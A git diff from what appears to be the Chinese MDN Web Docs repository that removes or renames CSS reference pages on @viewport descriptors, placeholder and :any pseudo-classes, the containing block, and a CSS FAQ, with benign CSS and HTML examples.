diff --git a/files/zh-cn/web/css/@viewport/orientation/index.html b/files/zh-cn/web/css/@viewport/orientation/index.html deleted file mode 100644 index 11519cee6e..0000000000 --- a/files/zh-cn/web/css/@viewport/orientation/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: orientation -slug: Web/CSS/@viewport/orientation -tags: - - CSS - - CSS Description -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/orientation ---- -
{{CSSRef}}
- -

摘要

- -

此 orientation CSS 描述符控制由{{cssxref("@viewport")}}定义文档的方向。

- -

通过设备的倾斜摆动情况来决定文档显示的方向,作者可以通过设置这个描述符来抑制方向的变化{{cssinfo}}

- -

语法

- -
/* Keyword values */
-orientation: auto;
-orientation: portrait;/*锁定为纵向*/
-orientation: landscape;/* 锁定为横向*/
-
- -

取值

- -
-
auto
-
用户代理将文档的方向设置为自动,通常基于设备的定位由加速度传感器 (如果设备具有这种硬件传感器),但是用户控制,OS 级别的"锁方向"往往会优先于加速度传感器的设置。
-
portrait
-
文档被锁定为纵向。
-
landscape
-
文档被锁定为横向。
-
- -

标准语法

- -
{{csssyntax}}
- -

规范

- - - - - - - - - - - - - - - - -
规范标准注释
{{SpecName('CSS3 Device', '#the-lsquoorientationrsquo-descriptor', '"orientation" descriptor')}}{{Spec2('CSS3 Device')}}Initial definition
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatNo}}10 {{property_prefix("-ms")}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}8 {{property_prefix("-o")}}{{CompatUnknown}}
-
diff --git a/files/zh-cn/web/css/@viewport/viewport-fit/index.html b/files/zh-cn/web/css/@viewport/viewport-fit/index.html deleted file mode 100644 index 2716ef1d6f..0000000000 --- a/files/zh-cn/web/css/@viewport/viewport-fit/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: viewport-fit -slug: Web/CSS/@viewport/viewport-fit -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/viewport-fit ---- -
{{CSSRef}} {{Draft}} {{SeeCompatTable}}
- -

viewport-fit CSS {{CSSxRef("@viewport")}}  {{Glossary("Descriptor (CSS)", "descriptor")}} 是为了控制文档是如何填充满屏幕的。

- -

语法

- -
/* 关键值*/
-viewport-fit: auto;
-viewport-fit: contain;
-viewport-fit: cover;
-
- -

属性值

- -
-
auto
-
此值不影响初始布局视图端口,并且整个web页面都是可查看的。
-
contain
-
视图端口按比例缩放,以适合显示内嵌的最大矩形。
-
cover
-
视图端口被缩放以填充设备显示。强烈建议使用 safe area inset 变量,以确保重要内容不会出现在显示之外。
-
- -

形式语法

- -
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
- -

注意

- -

在使用 viewport-fit 描述符时,必须记住并不是所有的设备显示都是矩形的,因此应该使用safe area inset 变量

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}{{Spec2("CSS Round Display")}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("css.at-rules.viewport.viewport-fit")}}

- -

另请参见

- -
    -
  • {{CSSxRef("env", "env()")}}
  • -
diff --git a/files/zh-cn/web/css/@viewport/width/index.html b/files/zh-cn/web/css/@viewport/width/index.html deleted file mode 100644 index ed5c585a7e..0000000000 --- a/files/zh-cn/web/css/@viewport/width/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: width -slug: Web/CSS/@viewport/width -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/width ---- -
{{CSSRef}}
- -

The width CSS descriptor is shorthand for setting both the min-width and the max-width descriptors of the viewport. By providing one viewport length value, that value will determine both the min-width and the max-width to the value provided.

- -

If two viewport values are provided the first value will be set to the min-width and the second value will be set max-width.

- -

Syntax

- -
/* An example with one viewport value: */
-@viewport {
-    width: 320px;
-}
-
-/* An example with two viewport values: */
-@viewport {
-    width: 320px, 120px;
-}
-
-
- - - -

Values

- -
-
auto
-
The used value is calculated from the other CSS descriptors' values.
-
<length>
-
A non-negative absolute or relative length.
-
<percentage>
-
A percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively. Must be non-negative.
-
- -

Formal syntax

- -
auto | <length> | <percentage>
- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Device', '#descdef-viewport-min-width', '"min-width" descriptor')}}{{Spec2('CSS3 Device')}}Initial definition
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support29 (behind a flag){{CompatNo}}10 {{property_prefix("-ms")}}11.10
- Removed in 15
- Reintroduced behind a flag in 16
{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support - - - - - - -
4.4
-
- - - - - - -
29
-
{{CompatNo}}10{{property_prefix("-ms")}}11.10
- Removed in 15
- Reintroduced behind a flag in 16
{{CompatNo}}
-
diff --git a/files/zh-cn/web/css/@viewport/zoom/index.html b/files/zh-cn/web/css/@viewport/zoom/index.html deleted file mode 100644 index 894e8a6c73..0000000000 --- a/files/zh-cn/web/css/@viewport/zoom/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: zoom -slug: Web/CSS/@viewport/zoom -tags: - - CSS - - CSS Descriptor -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/zoom ---- -
{{ CSSRef }}
- -

zoom CSS 属性会根据 {{cssxref("@viewport")}} 来初始化一个缩放因数。

- -

当设置1.0 或 100%时表示不缩放。更大的值放大,更小的值缩小。

- -

{{cssinfo}}

- -

语法

- -
/* Keyword value */
-zoom: auto;
-
-/* <number> values */
-zoom: 0.8;
-zoom: 2.0;
-
-/* <percentage> values */
-zoom: 150%;
-
- -

- -
-
auto
-
根据`viewport`来既定当前标签的缩放。
-
<number>
-
必须是一个非负数。1表示没有缩放,大于1表示放大的倍数,小于1亦然。
-
<percentage>
-
必须是一个非负的百分比。以100%为基础进行缩放。
-
- -

形式语法

- -
{{csssyntax}}
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Device', '#zoom-desc', '"zoom" descriptor')}}{{Spec2('CSS3 Device')}}Initial specification
- -

浏览器兼容

- - - -

{{Compat("css.at-rules.viewport.zoom")}}

diff --git a/files/zh-cn/web/css/_colon_-moz-placeholder/index.html b/files/zh-cn/web/css/_colon_-moz-placeholder/index.html deleted file mode 100644 index f7493e4757..0000000000 --- a/files/zh-cn/web/css/_colon_-moz-placeholder/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: ':-moz-placeholder' -slug: 'Web/CSS/:-moz-placeholder' -tags: - - CSS - - CSS Pseudo-class - - CSS Reference - - Non-standard -translation_of: 'Web/CSS/:placeholder-shown' -translation_of_original: 'Web/CSS/:-moz-placeholder' ---- -

 

- -
提示: 在Firefox 19+版本中 :-moz-placeholder 伪类将被 {{ cssxref('::-moz-placeholder') }} 伪元素所替代.
- -
Note: The CSSWG have decided to introduce :placeholder-shown. This functionality will be reintroduced in Gecko at some point in the future, unprefixed and under the new name.  {{bug(1069012)}}
- -

{{ CSSRef() }}{{Non-standard_header}}{{ gecko_minversion_header("2.0") }}

- -

摘要

- -

 :-moz-placeholder伪类控制元素所显示的文字占位符文字占位符. 它允许开发者/设计师改变文字占位符样式. 默认的文字占位符颜色为浅灰色,当你的表单背景色为类似的颜色时它可能效果并不是很明显,那么你就可以使用这个伪类来改变文字占位符的颜色.

- -

示例

- -

这个示例将文字占位符改变为了绿色.

- -
<!doctype html>
-<html>
-<head>
-  <title>Placeholder demo</title>
-  <style type="text/css">
-    input:-moz-placeholder {
-      color: green;
-    }
-  </style>
-</head>
-<body>
-  <input id="test" placeholder="Placeholder text!">
-</body>
-</html>
-
- -

查看这个示例.

- -

溢出

- -

在手机等设备上搜索框和表单字段经常会缩的很短,有时输入框并不能完全显示文字占位符,那么它便会被生硬的"切断".为了防止出现这种难看的效果,可以使用CSS text-overflow: ellipsis; 来省略一中间部分文字.

- -
input[placeholder] { text-overflow: ellipsis; }
-::-moz-placeholder { text-overflow: ellipsis; } /* firefox 19+ */
-input:-moz-placeholder { text-overflow: ellipsis; }
-
- -

It was David Walsh, the man on fire who introduced this to a lot of designers. Placeholders and Overflow.

- -

Bugzilla

- -

{{ Bug(457801) }}

- -

See also

- -
    -
  • Forms in HTML5
  • -
  • {{ HTMLElement("input") }}
  • -
  • {{ HTMLElement("textarea") }}
  • -
diff --git a/files/zh-cn/web/css/_colon_any/index.html b/files/zh-cn/web/css/_colon_any/index.html deleted file mode 100644 index e9f8527a79..0000000000 --- a/files/zh-cn/web/css/_colon_any/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: ':any' -slug: 'Web/CSS/:any' -tags: - - CSS - - 伪类选择器 - - 实验性 -translation_of: 'Web/CSS/:is' -translation_of_original: 'Web/CSS/:any' ---- -
{{CSSRef}}{{SeeCompatTable}}
- -

概要

- -

The :any() pseudo-class lets you quickly construct sets of similar selectors by establishing groups from which any of the included items will match. This is an alternative to having to repeat the entire selector for the one item that varies.

- -

译文:any()伪类可以让您快速构建类似的选择器集合,通过建立包含所有包含项的组来匹配。这是另一种选择,它必须重复整个选择器,因为其中一个项目是不同的。

- -
Note : This pseudo-class is in progress to be standardized in CSS Selectors Level 4 under the name :matches(). It is likely that the syntax and name of :-vendor-any() will be changed to reflect it in the near future.
- -
注意:这个伪类正在CSS选择器第4级按照名称:matches()进行标准化。很可能的语法和名称:- vendor-any()将在不久的将来被更改以反映它。
- -

语法

- -
{{csssyntax}}
- -

- -
-
selector
-
选择器。这可以是由 CSS 3 简单选择器 组成的简单选择器或多重选择器,并且可以包含后代组合器。
-
- -
注意:选择器可以包含伪元素,并且仅允许的组合器是后代组合器。
- -

例子

- -

举个例子,如以下 CSS:

- -
/* 3 deep (or more) unordered lists use a square */
-ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
-ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
-ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
-ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
-ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
-ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
-menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
-menu ol menu, menu ul menu, menu menu menu, menu dir menu,
-menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
-dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
-dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
-dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
-  list-style-type: square;
-}
-
- -

可以写成这样:

- -
/* 3 deep (or more) unordered lists use a square */
-:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) ul,
-:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) menu,
-:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) dir {
-  list-style-type: square;
-}
- -

但是,不能写成这样(详见the section on performance):

- -
:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) :-moz-any(ul, menu, dir) {
-  list-style-type: square;
-}
- -

Notes

- -

译文: 这个伪类选择器会在处理 HTML5 的 sections and headings 中尤其有用。因为 {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, 和 {{HTMLElement("nav")}} 可以被嵌套,如果不使用  :any() ,为了去匹配这些标签来给予样式会变得困难。

- -

举个例子,当不使用 :any() ,给予不同的 DOM  结点层次深度下的所有的 {{HTMLElement("h1")}}  的元素样式时,将会变得特别的复杂。

- -
/* Level 0 */
-h1 {
-  font-size: 30px;
-}
-/* Level 1 */
-section h1, article h1, aside h1, nav h1 {
-  font-size: 25px;
-}
-/* Level 2 */
-section section h1, section article h1, section aside h1, section nav h1,
-article section h1, article article h1, article aside h1, article nav h1,
-aside section h1, aside article h1, aside aside h1, aside nav h1,
-nav section h1, nav article h1, nav aside h1, nav nav h1, {
-  font-size: 20px;
-}
-/* Level 3 */
-/* ... don't even think about it*/
-
- -

然而,通过使用  :any() ,这将变得很简单:

- -
/* Level 0 */
-h1 {
-  font-size: 30px;
-}
-/* Level 1 */
-:-moz-any(section, article, aside, nav) h1 {
-  font-size: 25px;
-}
-/* Level 2 */
-:-moz-any(section, article, aside, nav)
-:-moz-any(section, article, aside, nav) h1 {
-  font-size: 20px;
-}
-/* Level 3 */
-:-moz-any(section, article, aside, nav)
-:-moz-any(section, article, aside, nav)
-:-moz-any(section, article, aside, nav) h1 {
-  font-size: 15px;
-}
- -

性能与特异性问题

- -

Bug 561154 追踪了一个关于 Gecko 作为内核的浏览器在使用 :-moz-any() 不正确的问题。在最新的浏览器(从 Firefox 12) 实现 :-moz-any() 有一个通用的规则,在使用这个伪类选择器时,当使用它作为最右边的选择器会比使用 ID, Class, 标签选择器作为最右边的选择器要来的慢。

- -

例如:

- -
.a > :-moz-any(.b, .c)
-
- -

会比下面的表达式慢

- -
.a > .b, .a > .c
-
- -

而下面的表达式将会是最快的

- -
:-moz-any(.a, .d) > .b, :-moz-any(.a, .d) > .c
-
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("2")}}{{property_prefix("-moz")}}12.0 (534.30){{property_prefix("-webkit")}}{{CompatUnknown}}{{CompatUnknown}}5
- {{property_prefix("-webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}5
- {{property_prefix("-webkit")}}
-
diff --git a/files/zh-cn/web/css/_colon_blank/index.html b/files/zh-cn/web/css/_colon_blank/index.html new file mode 100644 index 0000000000..adcaa5c998 --- /dev/null +++ b/files/zh-cn/web/css/_colon_blank/index.html @@ -0,0 +1,56 @@ +--- +title: ':blank' +slug: 'Web/CSS/:blank空白伪类' +tags: + - CSS + - CSS 选择器 + - 伪类 +translation_of: 'Web/CSS/:blank' +--- +

{{CSSRef}}{{Draft}}{{SeeCompatTable}}

+ +
+

注意:使用 :blank 选择器被认为尚有一定风险,CSSWG 正在持续改进它。

+ +

详见 CSSWG issue #1967

+
+ +

:blank CSS 伪类选择器选择用户输入为空的输入框,如 {{HTMLElement("input")}} 和 {{HTMLElement("textarea")}})。

+ +

语法

+ +
{{CSSSyntax}}
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}{{Spec2("CSS4 Selectors")}}Initial definition.
+ +

浏览器兼容性

+ + + + + +

{{Compat("css.selectors.blank")}}

+ +

参见

+ +
    +
  • {{CSSxRef(":empty")}}
  • +
  • {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}} - The previous definition of :blank.
  • +
diff --git "a/files/zh-cn/web/css/_colon_blank\347\251\272\347\231\275\344\274\252\347\261\273/index.html" "b/files/zh-cn/web/css/_colon_blank\347\251\272\347\231\275\344\274\252\347\261\273/index.html" deleted file mode 100644 index adcaa5c998..0000000000 --- "a/files/zh-cn/web/css/_colon_blank\347\251\272\347\231\275\344\274\252\347\261\273/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: ':blank' -slug: 'Web/CSS/:blank空白伪类' -tags: - - CSS - - CSS 选择器 - - 伪类 -translation_of: 'Web/CSS/:blank' ---- -

{{CSSRef}}{{Draft}}{{SeeCompatTable}}

- -
-

注意:使用 :blank 选择器被认为尚有一定风险,CSSWG 正在持续改进它。

- -

详见 CSSWG issue #1967

-
- -

:blank CSS 伪类选择器选择用户输入为空的输入框,如 {{HTMLElement("input")}} 和 {{HTMLElement("textarea")}})。

- -

语法

- -
{{CSSSyntax}}
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}{{Spec2("CSS4 Selectors")}}Initial definition.
- -

浏览器兼容性

- - - - - -

{{Compat("css.selectors.blank")}}

- -

参见

- -
    -
  • {{CSSxRef(":empty")}}
  • -
  • {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}} - The previous definition of :blank.
  • -
diff --git a/files/zh-cn/web/css/_doublecolon_-moz-placeholder/index.html b/files/zh-cn/web/css/_doublecolon_-moz-placeholder/index.html deleted file mode 100644 index 3c08f433c8..0000000000 --- a/files/zh-cn/web/css/_doublecolon_-moz-placeholder/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: '::-moz-placeholder' -slug: 'Web/CSS/::-moz-placeholder' -tags: - - CSS - - CSS Pseudo-class - - CSS Reference - - Non-standard -translation_of: 'Web/CSS/::placeholder' -translation_of_original: 'Web/CSS/::-moz-placeholder' ---- -
{{Non-standard_header}}{{CSSRef}}
- -
提示: {{cssxref('::-moz-placeholder')}} 伪元素在Firefox 19+替代了之前的 :-moz-placeholder 伪类.
- -
{{gecko_minversion_header("19.0")}}
- -

摘要

- -

 ::-moz-placeholder 伪元素控制元素所显示的文字占位符.它允许开发者/设计师改变文字占位符的样式.默认的文字占位符为浅灰色,当你的表单背景色为类似的颜色时它可能效果并不是很明显,那么你就可以使用这个伪类来改变文字占位符的颜色.

- -

示例

- -

HTML 内容

- -
<input id="test" placeholder="Placeholder text!">
- -

CSS 内容

- -
input::-moz-placeholder {
-  color: green;
-}
- -

{{EmbedLiveSample('%E7%A4%BA%E4%BE%8B', '100%', 100)}}

- -

 

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
- - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("19.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
- -

[1] Firefox 对placeholder文本默认应用{{cssxref("opacity")}}:0.54。详见{{Bug("556145")}}。大多数主流浏览器目前不会对placeholder文本伪元素或者伪类应用默认样式。

- -

Gecko 此前将本属性视为 {{cssxref(":-moz-placeholder")}}。详见 {{Bug("737786")}}.

- -

See also

- -
    -
  • {{cssxref("::placeholder")}}
  • -
  • {{cssxref("::-webkit-input-placeholder")}}
  • -
  • {{cssxref(":-ms-input-placeholder")}}
  • -
  • Forms in HTML
  • -
  • {{HTMLElement("input")}}
  • -
  • {{HTMLElement("textarea")}}
  • -
diff --git a/files/zh-cn/web/css/all_about_the_containing_block/index.html b/files/zh-cn/web/css/all_about_the_containing_block/index.html deleted file mode 100644 index bf35aa8c04..0000000000 --- a/files/zh-cn/web/css/all_about_the_containing_block/index.html +++ /dev/null @@ -1,268 +0,0 @@ ---- -title: 布局和包含块 -slug: Web/CSS/All_About_The_Containing_Block -tags: - - CSS - - CSS Position - - Containers - - Guide - - Layout - - Position - - Style - - blocks - - containing block - - size -translation_of: Web/CSS/Containing_block ---- -

{{cssref}}

- -

一个元素的尺寸和位置经常受其包含块(containing block)的影响。大多数情况下,包含块就是这个元素最近的祖先块元素内容区,但也不是总是这样。在本文中,我们来过一遍确定包含块的所有因素。

- -

当一个客户端代理(比如说浏览器)展示一个文档的时候,对于每一个元素,它都产生了一个盒子。每一个盒子都被划分为四个区域:

- -
    -
  1. 内容区
  2. -
  3. 内边距区
  4. -
  5. 边框区
  6. -
  7. 外边距区
  8. -
- -

Diagram of the box model

- -

许多开发者认为一个元素的包含块就是他的父元素的内容区。但事实并非如此。接下来让我们来看看,确定元素包含块的因素都有哪些。

- -

包含块的影响

- -

在学习如何确定元素包含块之前,先了解一下它的重要性。

- -

元素的尺寸及位置,常常会受它的包含块所影响。对于一些属性,例如 {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}},绝对定位元素的偏移值 (比如 {{cssxref("position")}} 被设置为 absolute 或 fixed),当我们对其赋予百分比值时,这些值的计算值,就是通过元素的包含块计算得来。

- -

确定包含块

- -

确定一个元素的包含块的过程完全依赖于这个元素的 {{cssxref("position")}} 属性:

- -
    -
  1. 如果 position 属性为 static 、 relative 或 sticky,包含块可能由它的最近的祖先块元素(比如说inline-block, block 或 list-item元素)的内容区的边缘组成,也可能会建立格式化上下文(比如说 a table container, flex container, grid container, 或者是 the block container 自身)。
  2. -
  3. 如果 position 属性为 absolute ,包含块就是由它的最近的 position 的值不是 static (也就是值为fixed, absolute, relative 或 sticky)的祖先元素的内边距区的边缘组成。
  4. -
  5. 如果 position 属性是 fixed,在连续媒体的情况下(continuous media)包含块是 {{glossary("viewport")}} ,在分页媒体(paged media)下的情况下包含块是分页区域(page area)。
  6. -
  7. 如果 position 属性是 absolutefixed,包含块也可能是由满足以下条件的最近父级元素的内边距区的边缘组成的: -
      -
    1.  {{cssxref("transform")}} 或 {{cssxref("perspective")}} 的值不是 none
    2. -
    3.  {{cssxref("will-change")}} 的值是 transform 或 perspective
    4. -
    5.  {{cssxref("filter")}} 的值不是 none 或 will-change 的值是 filter(只在 Firefox 下生效).
    6. -
    7.  {{cssxref("contain")}} 的值是 paint (例如: contain: paint;)
    8. -
    -
  8. -
- -
-

注意: 根元素(<html>)所在的包含块是一个被称为初始包含块的矩形。他的尺寸是视口 viewport (for continuous media) 或分页媒体 page media (for paged media).

-
- -

根据包含块计算百分值

- -

如上所述,如果某些属性被赋予一个百分值的话,它的计算值是由这个元素的包含块计算而来的。这些属性包括盒模型属性和偏移属性:

- -
    -
  1. 要计算 {{cssxref("height")}} {{cssxref("top")}} 及 {{cssxref("bottom")}} 中的百分值,是通过包含块的 height 的值。如果包含块的 height 值会根据它的内容变化,而且包含块的 position 属性的值被赋予 relativestatic ,那么,这些值的计算值为 auto
  2. -
  3. 要计算 {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 这些属性由包含块的 width 属性的值来计算它的百分值。
  4. -
- -

示例

- -

接下来的示例,都使用如下 HTML 代码:

- -
<body>
-  <section>
-    <p>This is a paragraph!</p>
-  </section>
-</body>
- -

下面的示例,只有 CSS 不同。

- -

Example 1

- -

这个示例中,P 标签设置为静态定位,所以它的包含块为 <section> ,因为距离最近的父节点即是她的包含块。

- - - -
body {
-  background: beige;
-}
-
-section {
-  display: block;
-  width: 400px;
-  height: 160px;
-  background: lightgray;
-}
-
-p {
-  width: 50%;   /* == 400px * .5 = 200px */
-  height: 25%;  /* == 160px * .25 = 40px */
-  margin: 5%;   /* == 400px * .05 = 20px */
-  padding: 5%;  /* == 400px * .05 = 20px */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_1','100%','300')}}

- -

Example 2

- -

在这个示例中,P 标签的包含块为 <body> 元素,因为 <section> 不再是一个块容器,所以并没有形成一个格式上下文。

- - - -
body {
-  background: beige;
-}
-
-section {
-  display: inline;
-  background: lightgray;
-}
-
-p {
-  width: 50%;     /* == half the body's width */
-  height: 200px;  /* Note: a percentage would be 0 */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_2','100%','300')}}

- -

Example 3

- -

这个示例中,P 元素的包含块是 <section>,因为 <section> 的 position 为 absolute 。P 元素的百分值会受其包含块的 padding 所影响。不过,如果包含块的 {{cssxref("box-sizing")}} 值设置为 border-box ,就没有这个问题。

- - - -
body {
-  background: beige;
-}
-
-section {
-  position: absolute;
-  left: 30px;
-  top: 30px;
-  width: 400px;
-  height: 160px;
-  padding: 30px 20px;
-  background: lightgray;
-}
-
-p {
-  position: absolute;
-  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
-  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
-  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
-  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_3','100%','300')}}

- -

Example 4

- -

这个示例中,P 元素的 position 为 fixed,所以它的包含块就是初始包含块(在屏幕上,也就是 viewport)。这样的话,P 元素的尺寸大小,将会随着浏览器窗框大小的变化,而变化。

- - - -
body {
-  background: beige;
-}
-
-section {
-  width: 400px;
-  height: 480px;
-  margin: 30px;
-  padding: 15px;
-  background: lightgray;
-}
-
-p {
-  position: fixed;
-  width: 50%;   /* == (50vw - (width of vertical scrollbar)) */
-  height: 50%;  /* == (50vh - (height of horizontal scrollbar)) */
-  margin: 5%;   /* == (5vw - (width of vertical scrollbar)) */
-  padding: 5%;  /* == (5vw - (width of vertical scrollbar)) */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_4','100%','300')}}

- -

Example 5

- -

这个示例中,P 元素的 position 为 absolute,所以它的包含块是 <section>,也就是距离它最近的一个 transform 值不为 none 的父元素。

- - - -
body {
-  background: beige;
-}
-
-section {
-  transform: rotate(0deg);
-  width: 400px;
-  height: 160px;
-  background: lightgray;
-}
-
-p {
-  position: absolute;
-  left: 80px;
-  top: 30px;
-  width: 50%;   /* == 200px */
-  height: 25%;  /* == 40px */
-  margin: 5%;   /* == 20px */
-  padding: 5%;  /* == 20px */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_5','100%','300')}}

- -

另见

- -
    -
  • {{css_key_concepts}}
  • -
  • {{cssxref("all")}} 属性可将所有 CSS 声明重置为它所指定的状态
  • -
diff --git a/files/zh-cn/web/css/common_css_questions/index.html b/files/zh-cn/web/css/common_css_questions/index.html deleted file mode 100644 index 0e0593054b..0000000000 --- a/files/zh-cn/web/css/common_css_questions/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: CSS 常见问题 -slug: Web/CSS/Common_CSS_Questions -translation_of: Learn/CSS/Howto/CSS_FAQ ---- -

为什么我有效的CSS没有正确的渲染?

- -

浏览器使用DOCTYPE声明来选择是否使用更符合Web标准或兼容旧浏览器的bug的模式。在你的HTML的开始使用一个正确的和现代的DOCTYPE声明将改善浏览器标准执行。

- -

现代浏览器主要有两种渲染模式:

- -
    -
  • 怪异模式: 又称向后兼容模式,,允许将传统网页渲染为作者意图。 旧浏览器使用的非标准渲染规则。 不完整的、不正确的、缺少DOCTYPE声明或已知的DOCTYPE声明中普遍使用2001年以前的文件将在怪异模式中呈现。
  • -
  • 标准模式:浏览器试图严格遵守W3C标准。新HTML网页有望被设计为符合标准的浏览器,这样做的结果就是,用现代DOCTYPE声明的页面将被用标准模式呈现。
  • -
- -

基于Gecko的浏览器, 有三分之一 Almost Standards Mode, 只有一些小怪癖。

- -

这是最常用的触发标准模式或准标准模式的DOCTYPE声明列表:

- -
<!DOCTYPE html> /* 这一行是 HTML5 的 doctype 声明。,使用该声明会使现代浏览器使用
-                   HTML5 解析器处理页面,这是推荐的 doctype 声明。*/
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
-"http://www.w3.org/TR/html4/loose.dtd">
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"http://www.w3.org/TR/html4/strict.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
- -

为什么我有效的css完全没有被渲染? 

- -

为了使浏览器渲染样式文件,CSS样式表必须用text/css的MIME。如果Web服务器不服务于这种类型,则CSS也不会被应用。

- -

id和class有什么不同?

- -

HTML元素可以拥有一个id/或class属性。 id属性为元素指定应用一个有效名称,只能有一个具有该名称的元素。class属性指定一个类名的元素,而这个名称可以被页面内的许多元素被使用。 CSS允许你可以对特定的id和/或类名的元素应用样式。
-
- 当你想给一个特定元素或块应用样式规则时就使用ID选择符。此样式将只用于与该特定id匹配的元素。

- -


- 当你想要将样式规则应用于多个块和元素时,你应该使用class选择符。

- -

较少样式的样式表通常性能更高。因此建议尽可能多地使用类, 保留id作为特定用途 (比如链接label标签和form元素或者为语义上唯一的元素应用样式)。

- -

查看 CSS selectors

- -

我如何还原属性的默认值?

- -

最初CSS没有提供“defaule”关键字和还原默认属性的值,唯一途径是显式地重新声明该属性。

- -

与CSS2相比,已经发生了改变。 关键字 initial 现在是一个有效的CSS属性。它将给定的CSS属性值重置为默认值。

- -

我如何才可以从一个样式中衍生出另一种样式?

- -

CSS 不允许这样做。(See Eric Meyer's note about the Working Group's stance). 但是,将多个类分配给单个元素,可以提供相同的效果。

- -

我该如何给一个元素分配多个类?

- -

HTML元素可以通过列出的类属性,用空格分开它们。

- -
<style type="text/css">
